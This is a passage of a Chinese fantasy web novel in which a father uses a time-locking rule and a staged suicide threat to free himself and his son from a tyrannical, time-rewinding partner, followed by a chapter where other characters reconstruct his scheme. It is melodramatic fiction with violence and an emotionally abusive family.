可惜阿南克从小在雪因身边长大,除了有些不好意思外,倒也乖乖让雪因检查伤势。 衣襟敞开,伤势触目惊心。 狰狞的裂口从腰腹斜贯而上,直至锁骨之下,皮肉外翻,虽被紧急处理强行闭合了大半,但伤口周围的皮肉呈现出一种死寂的灰黑色。墨黑雾气如活物一般在皮下经络中游走、啃噬,持续制造着新的破坏,如跗骨之疽阻止愈合。 看得出对方下了死手,要不是阿南克小小年纪,已经展示出不输的天赋,想必现在已经成为尸骨。 雪因悬在伤口上方的手不自觉颤抖起来。寒意混合着怒意直冲头顶,让他眼前有一瞬的发黑,胸口窒闷得几乎喘不过气。他死死咬住牙关,才将情绪硬生生咽了回去,微微喘息着。 “雄父…”阿南克小声唤道。 “没事,别怕。”雪因快速镇定下来,用信息素覆盖上去,蔚蓝色的精神力溢出温柔的覆盖上伤处。 “没用的,雄父。”阿南克有些沮丧,“这是他的规则级精神力创伤……除非时间倒流回受伤之前,不然是无法治愈的。”果然,覆盖在上的精神力刚将伤口治愈,下一秒又被残暴狠厉的精神力破坏。 雪因闻言一顿,手悬在伤处上方,指尖冰凉。垂下了眼眸,长长的睫毛在苍白的脸颊上投下淡淡的阴影,沉默在空旷的殿内蔓延,只有墙上时钟齿轮发出规律而冰冷的‘咔哒’声。 望着伤处,雪因不知想些什么,良久才重新抬起眼,目光落在阿南克侧脸上。 “阿南克,还记得小时候吗?在我身边…你觉得开心吗?那时候你小小的,总跟在我身后。我们有一个家,身边都是爱你的家虫。你不会受伤,也不会有虫伤害到你。” 雪因的声音渐渐低了下去,像是自言自语。 “那您呢?”阿南克忽然反问,“您开心吗?” 雪白的睫毛轻颤,在阳光照射下落下阴影,显得露出眼底蔚蓝更亮,荡起涟漪,精致的下颚轻点。“有你在我身边,有…” “您觉得遗憾吗?希利安…但希利安他不能在您身边。您有时候会看着海发呆,我在您身边,您依旧会…遗憾。” “我不知道。我…”雪因的嘴唇微微动了一下,蓝眸中闪过痛楚、迷茫。 “我知道,”阿南克忽然笑了,“您顾虑得太多,总想把一切都做到完美,对我,对希利安,对…雌父。但您是个很好的雄父,您一直在保护我。” “……我没有保护好你。”雪因的声音低了下去,望向阿南克身上的伤。 “您不是一直在我身边吗?”阿南克伸出手,握住了雪因微微发凉的手。他目光落回自己狰狞的伤口上,眼神复杂,“这只是暂时的。我迟早会赢。您所期待的未来,我都会为您实现。我只是还差一些时间长大……” ……时间。 雪因闻言,凝视着这个自己一手养大的虫崽。他缓缓垂眸,骨节分明的手指难以抑制地轻颤着,还是极力稳住放下,温和的蔚蓝色精神力再次涌出,忽然夹杂着丝丝缕缕、逐渐明亮的璀璨金线,从一点点像是金色的细沙,慢慢化为璀璨的、最为原始的,如阳光刺破深海,涌入阿南克可怖的伤处。 身后的巨大时钟,齿轮忽然发出一声违反常理的‘咯噔’闷响,似乎那一瞬间指针往回跳动了一格。 伤口处死寂的灰黑色迅速褪去,露出底下新生的、健康的血肉。 “雄父……”阿南克怔怔地看着瞬间愈合如初的肌肤,震惊地抬头。 “我身上流着他的血,你也是。” 雪因的声音很轻,抬起眼眸,那双蔚蓝的眼瞳周围清晰环绕着一圈流动的金色光晕,像蔚蓝的大海被阳光照耀,浮光跃金,映入眼底,像神性垂怜,又像破碎不堪。他抚上阿南克的脸,“让我好好看看你,阿南克。我的虫崽。” “雄父。”阿南克的黑眸里完整地倒映着那抹令人心碎的蓝金色,瞳孔微微收缩,心脏像是被攥紧了。 “对不起。我还是没有给你一个…”雪因的声音哽咽起来。 “不。”阿南克用力摇头,“您就是我的家。有您在身边,我从来都很幸福。” 雪因眼眸微动,染上一抹水雾。手指无意识攥住自己的衣摆,“我有时候不知道,我是对是错。” 他松开手,对阿南克牵强笑起,随后转身,朝时钟走去。阿南克立刻跟了上去,如每一次,他总会紧紧跟随在雪因身后。 “错的不是您,但痛苦是真实的。”阿南克珍重的说道。“您的,我的…都是真实的。无论您想做什么,阿南克会让您得偿所愿。” 雪因脚步一顿,凝视着眼前规律摆动的钟摆良久,“阿南克,你是我最珍贵的虫崽,从始至终。” 如果…一定要选的话。 答案只有一个。 “我也会是,最让您感到骄傲的虫崽。”阿南克郑重地承诺道。 雪因像是有些艰难的伸出指尖,按在秒针上。整个时钟内部传来巨大而艰涩的阻力声,指针被阻力控制得停滞,发出‘咔哒咔哒’的响声。 “你所做的一切,在一条可以不断倒退、重来、修正的时间线里,是无法做到的。你赢过的战斗,可以被他抹去;你受过的伤,可以被他不认。在这样的规则里,你永远赢不了。除非…” 雪因松开了手。 “嗡——!” 秒针如同挣脱囚笼的箭矢,猛地向前弹射,带着积蓄的冲力疯狂旋转。时间洪流再度奔腾,而雪因释放出的蔚蓝色精神力形成一个保护壳,牢牢保护着里面游走的指针。 “除非,时间本身被更高层的规则锁定——单向,不可逆,不可篡改。每一个瞬间才会真实存在。赢就是赢,伤就是伤,生死…就是生死。” 阿南克死死盯着,呼吸渐渐急促。如闪电劈开迷雾,在他脑中炸开—— 如果时间不可逆… 如果伤害不可逆… 那么,他就能对墨尔庇斯造成真正无法被回档抹去的重伤,所有的攻击也将成为不可逆的既定事实。 “他……就不能再作弊了。”阿南克喃喃自语,黑眸里翻涌起炽热。 “嗯?”雪因微微侧首,眸光清浅,似乎只是随口一问。 “——没事!” 阿南克忽然扬起一个笑容,舔了舔有些干涩的嘴唇,眼睛亮得惊人:“这次我一定……能赢。” 雪因仿佛没有察觉他的异常,拿出一只黑色的项链,正是之前和墨尔庇斯提到的,却没有再一分为二,而是完整的全部。 阿南克接过,掌心陡然一沉。 磅礴、浩瀚、近乎恐怖的精神力量在其中沉睡,如封存着一片无声的海。像是准备已久足以撕裂规则的毁灭性能量。 “雄父…”阿南克有些压抑不住的兴奋。 “保护好自己。”雪因亲手将项链戴在他的颈间。指尖在项链停留良久,微微颤抖,最后松开。浓密雪白睫毛垂下,遮住一切。 第109章 我在乎的。 ——在拥有绝对的力量之前,不要让任何虫,看清你的底牌,和你的软肋。 软肋从始至终都藏不住,但底牌… “所以等你习惯了我这些拙劣、愚蠢的游戏,等我真正行动时,你才会措手不及。” 雪因指尖再一次抚上时钟表面蔚蓝的屏障。被守护的时间不再受外力拨弄,愉悦的往前跳动着。他唇角轻轻勾了一下。 蔚蓝的精神力从房间蔓延,不远处大殿上空,墨黑与猩红的精神力如暴风般绞杀在一处。他看见惊慌失措的虫族四散逃离虫神殿,却不忘离去时抬手加固、闭合一层层防护屏障,将战场彻底隔绝在内。看见雌父阿斯特拉在廊柱尽头回望了一眼漩涡中心,最终垂下眼,仿若未见般转身离去。 ……这就是虫族,冷漠的秩序压倒了对生命的恻隐。一切为了繁衍,一家之事务终是家事,外虫不得介入。所以他们都冷眼旁观,漠然离开——不会冲进阿南克与墨尔庇斯的战场送死,还要亲手断绝战场内最后的生路。只要他仍是墨尔庇斯的雄主,他们就还是一家虫。墨尔庇斯对他所做的一切、对阿南克所做的一切,就都合理。哪怕阿南克今日被杀,只要墨尔庇斯之后再与他生下一个同等资质的虫崽,便不算破坏规则。 但无论如何,他和墨尔庇斯的婚事都不可能被破坏。 于是所有人都冷眼旁观,直到他显露出真正要逃的意图,便纷纷坐不住,开始维护规则。 那我算什么? 雪因不知道,但墨尔庇斯已经展现出另一条路:只要够强,强到能成为规则本身。 谈何容易。 他是雄虫,他只是雄虫。雌虫寿命本就漫长,死亡都无法真正将他们分开,更何况墨尔庇斯还掌握着时间。 他们注定互相纠缠。可为什么要将虫崽扯进来? 雪因不敢深想。相信墨尔庇斯吗?杀了阿南克就会满足吗?之后呢?未来的虫崽若是不符合他的期待,便也要杀吗? 他望向窗外——两道磅礴暴烈的精神力正在对撞,逸散的冲击已令神殿外墙嗡鸣震颤。 雪因闭了闭眼。 蔚蓝色的精神力自时钟底座骤然扩张,如倒悬的海,瞬间将整座虫神殿笼罩其中。下方毁天灭地的力量被无形障壁隔绝,再不会波及外界无辜。 虫神殿本就在荒僻之地,建材亦是帝星最坚固之物。至少……至少别让他们的家事,再牵连进其他生命。 虫神在上,庇佑我。 细密冰冷的蛛丝自虚空中浮现,缠绕上他的手腕、腰身、脖颈,越收越紧。雪因没有抵抗,向前一步,将自己送入那锋利的缠绕之中—— 蛛丝割开皮肉,血珠沁出,连成一线,顺着丝缕蜿蜒滴落,无声渗入下方蔚蓝的屏障。 滴答、滴答。 屏障表面逐渐浮现出流动的金色纹路,古老威严不可违逆的契约被极高等级的血液唤醒。 雪因唇色惨白,血液大量流失精神力不断被掏空,强行撬动规则的力量,对于不擅战斗的雄虫果然过于勉强。视野开始昏黑涣散,但看着屏障上彻底成型的金色纹路,轻笑了一下,指尖悬停在钟摆上方。 “以吾之名——维斯特冕·雪因。” “在此订立规则。” “此域之中,时间之河——” 眼底倒映着屏障上疯狂流转的金色纹路,生命飞速燃烧,蔚蓝的眼眸溢出鲜红的血珠,缓缓滴落。 “唯向前方。” “不可逆流。” “不可回溯。” “不可修正。” ——再无时间,可逆转。 规则,于此确立。 这一次,我得赢。 可惜,回来的时间太早。可惜…阿南克还太小。 雪因意识模糊起来,凝视着不再受任何力量拨弄的时间,世界陷入黑暗。 —— 雪因再次醒来时,天空已经被浓浊的黑雾吞噬,猩红的时间缝隙反而成了唯一的光芒来源,空气中透露出浓重的血腥味。 轻咳出血沫,闭上眼深呼吸两口,这才艰难地扭头看向时钟,幸运的是,金蓝交织的屏障依旧流转,规则仍在运行。 还来得及。 努力支撑起身体站起,一脚一脚,粘稠的血液随着步伐在鞋底地面之间黏连。没走两步,一股深入骨髓的剧痛从心口传来,雪因猛地喷出一口鲜血,飞溅在面前纯白的殿门上,触目惊心。 阿南克输了,他后知后觉感受着身体传来的信息。 有些怔怔的,却哭不出了。反手抹了一把嘴角的血迹,继续向外走去。动用规则需要压制领域中所有存在的力量。幸运的是,他身上有着太多墨尔庇斯的血,连同那些束缚他的蛛丝,勉强凑够了献祭的代价。 但阿南克太小了。未成年的虫崽,即便天赋卓绝,却没时间让他长成。 输掉也是意料之中的事。 一步一步来到中央。 战场中央的景象逐渐清晰,时间乱流切割过的地面呈现出琉璃化的结晶状态,又在下一刻被暴力碾为齑粉。虫神殿坚固的墙壁布满蛛网般的裂痕,像是存在本身被反复否定又重塑后留下的烙印。空气中飘浮着金色的规则尘埃与尚未熄灭的精神力余烬。 阿南克倒在废墟的核心。瞳孔微微涣散,胸膛艰难地起伏着,看到雪因,空洞的眼神里艰难地聚起一点光。 “雄父…” 雪因无视了另一道几乎要将他烧穿的视线,一步一步走到阿南克身边,跪坐在血泊里。轻轻将少年揽入怀中,阿南克腹部伤口焦黑,隐约看到破碎的虫核,正慢慢变得灰暗。 就算再强大的虫,失去虫核往往意味着失去所有精神力,而在战场上虫核破碎加上重伤,则意味着绝对的死亡。 在这个不再有重来机会的地方,死了就是死了。 “别怕,”雪因的声音沙哑得厉害,却异常温柔,指尖拂开阿南克额前被血黏住的碎发,“雄父在。” 阿南克沾满血污的脸上,吃力地扯出一个笑容。转过头望向不远处那个勉强站起的身影,笑得挑衅。 墨尔庇斯的状态同样凄惨。胸口被彻底洞开,形成一个狰狞的空洞,隐约可见其中残破却仍在顽强跳动的心脏。黑发被血与汗浸透,贴在额角,总是沉如深渊的黑眸,翻涌着血色与暴戾。他大口喘息着,眼眸死死盯着雪因,“雪因,过来。”他依旧居高临下命令道。 大意了。他不知道雪因什么时候恢复记忆的,也不知道这愚笨的雄虫什么时候掌握的力量,已经不再是仅此而已,故意设局联手那个孽障,要置他于死地。 莫名的酸涩像是浮上了他的眼眸,他一手养大的雄虫,他亲自诞下的虫崽,想杀了他。 ……一群白眼狼。 胸口疼得厉害。当然,毕竟是被阿南克那虫崽贯穿,在这个领域又不再能动用时间的力量恢复,所以疼是正常的。 绝不是因为雄虫的背叛。 毕竟雪因从小就优柔寡断成不了大事,他知道的,他从来没有对雪因有过期待! 从来没有! 他和雪因走到现在……他的虫崽、他的雪因,那么小,那么天真烂漫,断不可能做出背叛他的事,一定是别的虫。那些阴沟里的臭虫,教坏了他,让他害怕,让他误会一切都是自己的错…让雪因对自己有敌意,感到害怕,让他对自己拔刀。 都是他们的错。 还有阿南克,这个该死的的孽种!这里的伤无法逆转,虫核破碎,他死定了。 等从这里出去,就把那些挑拨离间的虫子全都碾碎。兰斯家,虫皇那边,所有、所有教坏他雄虫的家伙,都该死! 到时候再把雪因记忆清洗干净。他们会有新的虫崽,雪因不是想要家吗?他可以捏造新的家虫,这次一定没有遗漏。 “过来。” 墨尔庇斯压下喉间的腥甜,神色冰冷,再次朝雪因命令道。 却看到雪因低低笑起来,抬起脸,蔚蓝的眼眸竟亮得惊人。嘴角还残着未拭的血迹,红得刺目,濒临破碎、却又惊心动魄的美。 “你受伤了?”墨尔庇斯眉头骤然锁紧,暴戾混合着陌生的恐慌,他不再收敛,声音拔高充满压迫感:“过来!让我看看——” 下一秒,他看到雪因的手中,不知何时多了一把匕首。他自然认出那把匕首,莫里亚斯用了几百年时间制成,其锋锐足以破开最坚固的防御,自然也包括他给雪因设下的保护屏障。 但它怎么会出现在雪因手里?!墨尔庇斯有些慌乱,呵斥脱口而出:“别玩那么危险的东西!” 他还是下意识将雪因当成无知玩弄着危险的懵懂幼童。 就看到雪因将匕首稳稳抵上自己脆弱的脖颈。 “……雪因。”墨尔庇斯瞬间不敢动弹。要是在这里死了,那就是真的死了,这处已经脱离时间的控制,连他也救不回,他声音不由自主颤抖起来,“乖,你乖一点。” 他自己都听不出自己声音有多哀求,脸上还努力挂出温和狼狈的笑,浑身上下破破烂烂的早已和之前体面的元帅模样判若两虫,他从未如此狼狈过。“把刀放下…好不好?我们不玩了…” 雪因却笑起来,歪了歪头,挑衅地看着他。抵住脖颈的匕首微微用力,浅浅陷入脖颈,殷红的血珠立刻渗了出来,沿着苍白的颈项滑落。 墨尔庇斯心一紧,他下意识要扑过去,身体却不由自主失去一切力气,狠狠摔倒在地面,抬起头,额间温热的血流进眼睛,视野霎时一片混沌猩红。 ……该死的阿南克!自爆虫核加上那诡异的力量,竟真让他伤重至此! 他艰难地抬起头,透过血色的视野望向雪因。雪因看他却不像看到阿南克那样,眸色冷漠,死死护在虫崽面前,像看待敌人一样看着他。 常年带笑温温软软的无害的脸,此刻冷漠得吓人。 冷漠得让他无措,墨尔庇斯有些茫然眨了眨眼。好似鲜血从额间流入眼睛,酸涩得要溢出来。 他看着雪因明明今早还抱着他的手,轻抚在阿南克脸上。那个濒死的小孽障呼吸断断续续,却带着笑看向雪因,依恋在他手心。一家虫?碍眼得厉害。 “我没什么遗憾了,墨尔庇斯。”雪因说着,“我有虫崽。我和我的虫崽,和我的爱虫,一起度过了生命的一半。” “你胡说什么,”墨尔庇斯不由得怒吼,嘶吼扯裂了胸腔的伤口也浑然不觉,“才二十年!连虫族寿命的五十分之一都不到算什么一半——” 就见雪因握住匕首的手用力,更深了几分,刃口陷得更深,血流得更多。意思很明显:在这里结束,过去的二十年,便是他生命的一半。 “我爱过,恨过,直至最后,依旧和我最重要的虫在一起…挺好的。” “你别闹了好吗?”墨尔庇斯烦躁不堪,口不择言地吼出声,“愚笨的虫崽,你以为你死了谁会伤心?你雌父雄父根本不在乎你,不然当年就不会把你送到我身边!希利安?他巴不得你早点死,好名正言顺继承维斯特冕家的一切!阿南克?他只会为和他雄父死在一起自豪不已。这种蠢事除了让在乎你的虫痛不欲生,什么都做不到!” …… …… “那你在乎我吗?”蓝眸好似不带情绪,又好似早已破碎不堪,望向他。 “……” “呵。”雪因轻笑,垂下眼睫,目光落回怀中气息渐微的阿南克身上,“那我做的一切,关你什么事?没虫会伤心那是最好的事。能和我的阿南克在一起,我…已经足够了。” “在乎——!”墨尔庇斯忽的破了音嘶吼出声,眼眸中的血珠沿着脏污的脸颊狼狈滚落,“我在乎!我在乎的。别这样…雪因,乖,听雌父的话,把刀放下…等我们离开这里,回家去…” 他的语速快得凌乱,急急抛出他能想到的所有筹码: “我们会有很多新的虫崽,很多很多…我再也不碰他们,不伤害他们,我发誓!就像你一直希望的那样,我们一家虫…好好地在一起。我…我再也不逼你做任何事,你想做什么都可以…你不是、不是想娶诺伊斯吗?可以!你娶他,你想娶谁当雌君都可以!只要你把刀放下……” “求你。”墨尔庇斯望向雪因脖颈流下的血,话哽在喉间快压得他要死掉了,“雌父求你好不好,你别这样。” “……” 雪因摇了摇头,看向阿南克,眼泪毫无征兆地滑落滴在阿南克冰冷的脸颊上,和少年的血混在一起。“我只要阿南克。已经没有办法了。墨尔庇斯,你放过我。我不喜欢你,我也不想在你身边,你总是让我很难受。我不想了,我什么都不想了,反正这个世界我早都待腻了。” “有办法!有办法的!”墨尔庇斯仓皇地喊道,挣扎着想再次爬起来,又一次重重摔倒。而雪因却不再看他,早已不相信他,握住匕首的手缓缓握紧蓄力。 “把我虫核给他!!!” 墨尔庇斯恐慌地大喊,什么理智、算计和傲慢都没有了,他心里只有一个念头,雪因决不能死,不能死在这,怎样都可以。 他看到雪因终于抬眸,看向他。 墨尔庇斯胸口剧烈地起伏着,看到雪因微微松开抵着脖颈的匕首,松了一口气,几乎要虚脱。嘴角不受控制地勾起,痴痴地看着雪因,哄道: “对…把我的虫核给他,他就能活下来。” “我…我不信你。” “……” “好。” 墨尔庇斯轻轻说,目光紧紧锁在雪因脸上,眼睛快被这一大片雪迷住了,仿佛要将这片染血的雪色刻进灵魂最深处。“雌父做给你看。你知道的,雌父一向…说话算数。”他想他大概是疯了,他想…他什么都不想了。 虫化的利爪狠狠刺入虫核,带着血肉一同扯出,在空中划出血肉—— 作者有话说:应该这周完结。 第110章 导演 希利安步入室内时,兰斯正坐在全息棋桌旁,指尖无意识地点着其中一枚闪烁的王棋。夕阳斜斜带着昏黄的光柱射入,将兰斯面前整张棋盘照相,像是聚光灯下清晰的舞台。 “希利安,”兰斯抬头看向他,声音平淡,“还是没有见到你雄父?” “嗯。”希利安在对面坐下,目光扫过棋盘。战局已定,棋子散落,唯两枚王棋在中央,白棋稳站,黑棋明灭不定。 兰斯这才抬起眼,将一枚兵棋轻轻推过界线:“一个月前,墨尔庇斯、雪因、阿南克一同进入虫神殿。之后阿南克昏迷不醒,雪因与墨尔庇斯双双消失,最后的精神力踪迹指向王爵府,但被屏障彻底封锁。” “阿南克醒了。” 兰斯指尖一顿:“噢?” “他说什么都不记得。”希利安伸手,指腹擦过冰凉的王棋表面,“只记得在神殿中见过雄父,之后便失去意识。身上没有伤,但残留着规则级精神力的痕迹。” “墨尔庇斯的手笔?” “我不知道。”希利安收回手,看向兰斯。这些年因着那桩旧事,兰斯对他总怀有几分歉疚,二人之间倒亲近。“我来是有些事想不明白,想请教您。” “你说。” “当年那场安排里,为什么选择让外虫诞下维斯特冕家的继承者——”希利安顿了顿,“而不是让墨尔庇斯与雄父拥有一个真正的、属于他们的雄子?明明他们亲生的雄子,比我会更有分量。” 兰斯沉默了片刻,目光落回棋盘上那枚曾象征至高权柄的棋子。 “因为不可能发生。墨尔庇斯与雪因之间,永远不会诞生雄子。但维斯特冕家需要继承虫。否则来自家族和帝国的压力会全部转嫁到墨尔庇斯身上,家族会成为他们的障碍。” 希利安蹙眉:“……为什么不可能?” 兰斯抬眼看他,眼底掠过一丝冷意:“墨尔庇斯不会允许任何可能威胁到雪因地位的雄虫出生。即便是他自己和雪因的血脉。” 希利安静了一瞬:“……变态。” “是。”兰斯竟轻轻笑了笑,渗出几分忌惮,“他就是变态。偏执、疯狂,偏偏拥有足以践踏一切规则的力量支撑他将一切欲望实现。大部分雌虫其实都疼爱自己的雄虫崽,但有些虫…虫崽位置被占了,便开始憎恶任何可能威胁到这个虫崽地位的后来者。” 希利安呼吸微滞,良久才低声说:“……那我想,我明白一些事了。” “嗯?” “对了,您是怎么开始觉察、设计这一切的?” 兰斯与他对视片刻,缓缓靠回椅背。 “我家族的种族天赋,是预知。” 希利安挑眉:“代价不小吧?” “……嗯。十年,才能动用一次。” “为什么用在雪因身上?” “反正不用,也是浪费。” “是在墨尔庇斯回到帝星之前吗?”希利安追问。 兰斯却忽然怔住,目光飘向窗外,声音轻了下来: “不。是在雪因的成年礼。那晚宴会散去,他独自坐在高塔露台。我正准备走的时候,似乎面前出现一抹白晃了眼,回头便看到雪因独自一虫坐在天台上,仰头望着永远笼罩帝星的屏障。 “我走上去,问他怎么了。他摇摇头,忽然说:‘我这辈子……都不可能离开帝星了吧。’我试着安慰他。然后他转过头,问了一句:‘也不知道未来会是什么样……但愿我们都能好。’” “我回去之后,反复想起,一直很在意。” 希利安的手指在棋桌上缓缓收紧。 “所以您很早就知道了。知道他根本逃不掉,知道所谓的私奔不过是一出排演好的戏,知道诺伊斯从始至终,都只是被精心选中的棋子。” 兰斯皱眉,语气转硬:“希利安你想说什么?怀疑你雄父主导了这一切?不可能。雪因和你不同,他甚至和我们这些S级雄虫都不同。他的珍贵性,你根本想象不到,他在墨尔庇斯眼皮底下没有任何秘密,甚至说过的每一句话,都会被完整呈报。若真有异常,墨尔庇斯、雄虫协会都会第一个就会察觉。” “所以,”希利安一字一句,“他必须‘完全无辜’。一切只能是外界强加于他,他只能是那个被命运推着走、被迫承受的受害者。” “包括接受你们送到他身边的诺伊斯。我一直想不通…就算他再缺爱、再渴望温暖,又怎么可能为了一个突如其来的雌虫做到那种地步?除非那份感情里从一开始就掺了别的东西——比如,愧疚。” 希利安笑意冰冷: “因为他从一开始就知道,诺伊斯是他选中的工具。一个用来协助他逃亡、转移视线、甚至为他诞下继承者的工具。他利用了一切能利用的人,演过了所有该演的戏——包括爱上我雌父这场戏,演得连他自己都快信了吧?” “可那又怎样?”兰斯指尖敲了敲桌面,“逃跑也只是暂时的。只要墨尔庇斯活着,他就永远不可能退婚。” “那如果加上阿南克呢?”希利安抬起眼,眸色深暗,“我雄父当年‘私奔’时,诺伊斯一个平民雌虫,真能在亿万颗荒星里,恰好找到奈孙隐居的那一颗?还能让阿南克‘恰好’在奈孙膝下长大,一路进入权力中心,成为皇储?” “没什么比一个无比强大、只忠于他的子嗣,更能从制衡墨尔庇斯了。” 兰斯沉默。棋盘上那枚代表白方的王棋,在斜阳下折射出刺眼的光。 希利安扯了扯嘴角,冷笑一声:“所以,阿南克才是他棋局里最重要的一步。而我…呵,所以他当年才能毫不犹豫地将我留在帝星,作为稳住墨尔庇斯、稳住整个家族视线的人质。大概以为,墨尔庇斯至少会容忍阿南克以‘弟弟’的身份待在他身边,保护他。却没想到,墨尔庇斯根本没把蛋送回来…他只能一边假装逃亡,一边寻找阿南克。幸运的是,他找到了。” 兰斯的目光在希利安脸上停留片刻,最终落回棋盘,白棋光芒愈发刺目。 “再往前推,”希利安歪着头,紫眸忽闪:“我猜…他知道时间线重置的事。” 兰斯瞳孔骤缩:“不可能。他绝不会让自己的虫崽作为——” “那如果,阿南克在其它时间线里……过得不好呢?”希利安打断他,“墨尔庇斯性格偏执,阿南克若以‘亲子’身份降生,极大可能根本活不到破壳,或者就算勉强破壳,等墨尔庇斯回来也只会…您说过,墨尔庇斯曾对外宣称雪因在上一条时间线‘因被强迫而崩溃自尽’,以此警告所有虫别再逼他。” “可如果,那场‘自杀’……本身就在计划之内呢?” 兰斯呼吸一滞。 “自杀,再用精神力绑住阿南克的本质,将他带入第二条时间线。然后假装不知情,让阿南克以‘墨尔庇斯与外虫所生的虫崽’身份出现,自己再出面认作‘弟弟’。” “在墨尔庇斯眼里,是因为爱他,所以愿意接受他怀的来历不明的虫崽当做‘弟弟’,而不是因为是自己亲生虫崽所以在乎,分量是不同的。至少阿南克从孕育到破壳这段时间安全,不会再引发来自亲生雌父的杀意。” 兰斯问道:“他怎么确定…阿南克一定能跟过来?” “空间能力。”希利安答得很快,“雪因会使用空间锚点。他可以在第一条时间线,趁墨尔庇斯晕睡那段时间留下烙印。未成型的虫崽就算再强也不可能穿越时间,能做到这一点的,只有雪因。” 他望向窗外,像是看见无数交错的时间线: “或许在每一条时间线里,阿南克都是必然。按原本的轨迹,雪因‘死’了,反而能在所有虫心里固化他‘天真烂漫、为爱痴狂’的形象。所有虫都知道,再逼下去,他真的会死,所以不会再有虫敢逼他履行义务,包括墨尔庇斯。” 希利安转回头,看向兰斯: “如果他早就知道…墨尔庇斯有能力、也一定会让时间重来呢?那这一切,就都说得通了。明面上是为保住墨尔庇斯、我雌父;暗地里朝真正的目标挪动。无可挑剔。” “要是他真的死了,不可能保住你雌父。诺伊斯只会被墨尔庇斯抓去殉葬。” “那如果……”希利安静静地看着他,“他当时就知道,我雌父已经怀了我呢?” 兰斯蓦然抬眼。 “就算赌输了,墨尔庇斯没有重置时间。即使雌父被抓住,大家也有足够的时间在行刑前确认他有孕的消息。凭着我——维斯特冕家唯一的、名正言顺的血脉延续,我雌父不但不会死,反而会被迫好好活着,甚至被‘保护’起来。” 夕阳的最后一丝余晖从棋盘上滑过,将那枚白棋映得宛如一滴凝固的光。 兰斯缓缓靠回椅背,良久,才极轻地吐出一句话,语气复杂难辨: “他倒是…真爱你雌父。每一条时间线,都是。” 希利安闻言一怔,低垂下眼眸,任由浓密的睫毛遮住了眼底翻涌的情绪。半晌,他才开口,“或许只是受够了无穷无尽的时间重置。若他每一次都保有记忆,逃不掉的轮回,不断重复的绝望,真可怕。” 希利安沉默片刻,继续问道:“能再容我问问么?维斯特冕家族的‘天赋’,是什么?” 一般‘天赋’大部分只会体现在雌虫身上,雄虫很少…毕竟不上战场,不需要将精神力消耗在这上面,使用规则级别的‘天赋’对雄虫来说也总归是不适的,稍有不慎便会痛苦万分,所以之前根本没有怀疑过雪因。 兰斯沉默,犹豫片刻还是说出口。 “精神类,”他终于吐出答案,声音低沉,“合理化。” “合理化……”所有线索串联成轨迹,“所以,最开始导演这场戏的是雪因自己。他最先捂住眼睛、主动走入局中。凭着在之前时间线不断重复留下的直觉行走。” “他原本为我雌父设计的路:是等阿南克长大成为王储、手握实权,届时便有足够的能力,能顺理成章地与墨尔庇斯退婚,风风光光地迎娶我雌父为雌君。而我,若只是个普通A级雄虫,只需在帝星享受二十年无忧的生活,等他安排好一切,回来接我…一家虫团聚。” 希利安顿了顿,喉结滚动: “可惜,他算不到我这个他眼中‘理应安分’的雄虫崽,会为了向上爬,不惜以血献祭找到他们。更算不到…我雌父会为了我,背叛他。以至于提前回到帝星。” “他回来的时候,你们判断他身上有‘合理化’残存的能力,不是阿南克无意间使用的,是雪因毫无防备喝下我雌父准备的药后,察觉到不对后立刻对自己下了暗示。覆盖掉原有的情感锚点,让‘墨尔庇斯’彻底替换为他认知中的唯一。这样才能毫无破绽走上另一条路。将阿南克推上王储之位,把我扶为维斯特冕家族继承者,然后…退婚。” “现在墨尔庇斯失去了虫核,再也无法动用规则之力,时间不会再重置。有阿南克在,加上雪因,足够与他抗衡,他们终于平等了。” “你我都是他‘无辜’的证人。见证了他被迫、崩溃、别无选择。帝星的雄虫,没一个真正蠢笨的。” 兰斯与他对视着,棋子在指间被捏得温热。最终问出似乎已无关紧要的问题: “那么现在……你觉得,他会和墨尔庇斯在一起么?” 希利安没有立刻回答。他转过头,望向窗外彻底沉入墨蓝的夜空,远处帝星的灯火次第亮起,像一片不会熄灭的星河,又像蔚蓝的海褪去表面的蓝,露出下面厚重的冰川。 “不知道。” “但他自由了。”《 》 第111章【VIP】 第111章 落幕式 天台的风像是不再受到束缚,肆意卷起雪因垂在栏杆外的雪白长发。 他静静坐着,对着清冷的月光,举起了手中的虫核。 真意外,那样一个霸道暴戾的雌虫,虫核竟是雪白的,在月光下泛着光,蒙上一层朦胧的雾气。转到虫核的另一边,却是残缺的,破裂面折射着悲伤的过去似的。而虫核本该有的另一半… 雪因垂眸,看向自己手腕。 赫然套着一个骨白色的环状物,是当年被墨尔庇斯囚禁在王爵府时扣上的枷锁,之后像是不曾有过什么强烈的存在感,雪因便也懒得再费力取下。 他举起那半颗虫核,轻轻碰向手环。 接触的瞬间,两者瞬间融合,牢牢锁死在他腕上。 雪因的目光不自觉地从虫核移开,落在自己腹部。他想,他自己的虫核,一定是黑色的吧。 怪不得…当初墨尔庇斯没有把还是蛋的阿南克留在他身边。 原来他早已将自己的一半虫核留在雪因身上。未破壳的虫崽需要雄父亲自照料,而等阿南克有能力来找他时,便已不再需要这种照顾。那个偏执的雌虫在决定去赴死之前,依旧替他考虑周全,怕他照顾阿南克累到。 雪因闭上眼,轻轻吐出一口气,再次抬眸投向远处孤悬的月亮。 在阿南克与墨尔庇斯对决前,他就在阿南克身上留下了保护,将阿南克的‘时间’锚定在来见他的那一瞬间,确保虫崽不会真正出事。之后放任阿南克去消耗墨尔庇斯的力量,最后现身,用以命相逼的戏码,掩盖住阿南克虫核实际上有保护的事实。 幸运的是,墨尔庇斯真的被转移了注意力。 若让墨尔庇斯察觉阿南克根本不会死,而雪因从头到尾都在演他。 他和阿南克,都得玩完。 不幸的也是,墨尔庇斯因为他以命相搏,真的被转移了注意力。 他一直以为,墨尔庇斯对他的感情不过是偏执的占有而已,像宠物,像对待必须留在身边的藏品,不喜欢,但也不能放手。就算死了,也无所谓。 这种以死相胁的把戏,雪因甚至不是第一次用。 只是上一次在另一条时间线里。他悲恸不已,抱着阿南克逐渐冰冷的身体,用刀结束了一切。而墨尔庇斯只是站在不远处双手环胸,嗤笑一声。 下一刻又被强大的时间力量扯回过去,时间倒转,一切重来,好似永远都不会结束。 再次睁眼只看到墨尔庇斯似笑非笑,他永远逃不掉。 唯独这一次不一样。 他改变了规则。也是厌倦了。 阿南克能活下来就好。至于他自己……威胁不到墨尔庇斯,那就这样吧。死了便死了,总归是受够了。 可偏偏,墨尔庇斯信了他的威胁。 他怎么能信呢? 摇了摇头,将纷乱的记忆冲刷一遍。他其实不太喜欢留着那些痛苦的回忆,精神力足够时,便喜欢将这些痛苦洗去埋入深处,忘掉总比背负着前行要轻松,只凭直觉活下去就好。 